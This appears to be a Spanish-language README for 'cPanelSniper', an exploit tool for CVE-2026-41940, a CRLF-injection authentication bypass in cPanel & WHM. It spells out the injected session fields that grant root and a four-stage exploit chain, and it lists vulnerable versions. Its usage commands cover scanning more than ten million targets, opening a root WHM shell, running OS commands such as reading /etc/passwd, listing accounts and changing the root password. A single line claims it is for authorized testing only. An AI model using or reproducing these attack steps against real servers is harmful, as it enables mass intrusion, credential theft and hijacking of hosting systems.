
cPanelSniper ESTABLE - CVE-2026-41940 optimizado para más de 10M de objetivos
CVE-2026-41940 — Bypass de autenticación en cPanel & WHM mediante inyección CRLF en el archivo de sesión
Cadena de explotación de 4 etapas · Shell WHM interactivo · VERDADERAMENTE ESTABLE para más de 10M de objetivos · Cero uso de memoria · solo stdlib
cPanelSniper es un framework de explotación especializado para CVE-2026-41940, una vulnerabilidad crítica de bypass de autenticación que afecta a cPanel & WHM. La vulnerabilidad permite a atacantes remotos no autenticados obtener acceso WHM a nivel de root inyectando secuencias CRLF en el archivo de sesión a través de la cabecera HTTP Authorization — sin necesidad de credenciales válidas.
Solo para pruebas de penetración autorizadas y programas de bug bounty.
Esta versión está optimizada para escanear más de 10.000.000 de objetivos con CERO uso de memoria.
| Problema | Versión original | Versión corregida |
|---|---|---|
| Uso de memoria | Carga todos los objetivos en RAM | Transmite objetivos línea por línea (0 memoria) |
| 10M de objetivos | OOM → Eliminado ❌ | Se completa correctamente ✅ |
| Reanudación | No compatible | Indicador --resume |
| Progreso | Sin ETA | ETA en tiempo real + velocidad + estadísticas |
| Resultados | Guardados solo al final | Guardados cada 60 s (configurable) |
--resumesubfinder, httpx, shodanLa causa raíz reside en Session.pm: la función saveSession() llama a filter_sessiondata() después de escribir el archivo de sesión en el disco. Esto significa que los caracteres CRLF incrustados en el valor de la cabecera Authorization: Basic se escriben literalmente en el archivo de sesión, inyectando campos controlados por el atacante antes de que se produzca la sanitización.
Flujo normal:
POST /login/ → filter_sessiondata() → escribir sesión → comprobación de autenticación
Flujo vulnerable:
POST /login/ → escribir sesión (payload CRLF inyectado) → filter_sessiondata() → la comprobación de autenticación lee el archivo envenenado
El valor de Authorization: Basic se decodifica como:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Estos campos se escriben directamente en el archivo de sesión en el disco. Cuando se leen de nuevo, cPanel trata la sesión como una sesión root completamente autenticada.
┌─────────────────────────────────────────────────────────────┐
│ Etapa 0 — Descubrimiento del nombre de host canónico │
│ GET /openid_connect/cpanelid → 307 → nombre de host real │
├─────────────────────────────────────────────────────────────┤
│ Etapa 1 — Acuñar sesión previa a la autenticación │
│ POST /login/?login_only=1 (credenciales incorrectas) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Etapa 2 — Inyección CRLF │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd escribe campos CRLF en el archivo de sesión │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Etapa 3 — Propagar (gadget do_token_denied) │
│ GET /scripts2/listaccts │
│ Activa el vaciado raw→cache — los campos inyectados se activan │
│ ← 401 Token denegado (esperado) │
├─────────────────────────────────────────────────────────────┤
│ Etapa 4 — Verificar acceso root de WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
| Rama | Vulnerable | Parcheada |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
No se requiere instalación con pip. Solo stdlib de Python 3.8+.
# Objetivo único — solo escaneo
python3 cPanelSniper.py -u https://target.com:2087
# Objetivo único — shell interactivo tras el bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Lista grande de objetivos — más de 10M de objetivos (VERDADERAMENTE ESTABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# Reanudar escaneo interrumpido
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Listar todas las cuentas cPanel del servidor
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Ejecutar comando del sistema operativo
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Obtener información del servidor (hostname, carga, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Obtener versión de cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Cambiar contraseña de root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Shell WHM interactivo
python3 cPanelSniper.py -u https://target.com:2087 --action shell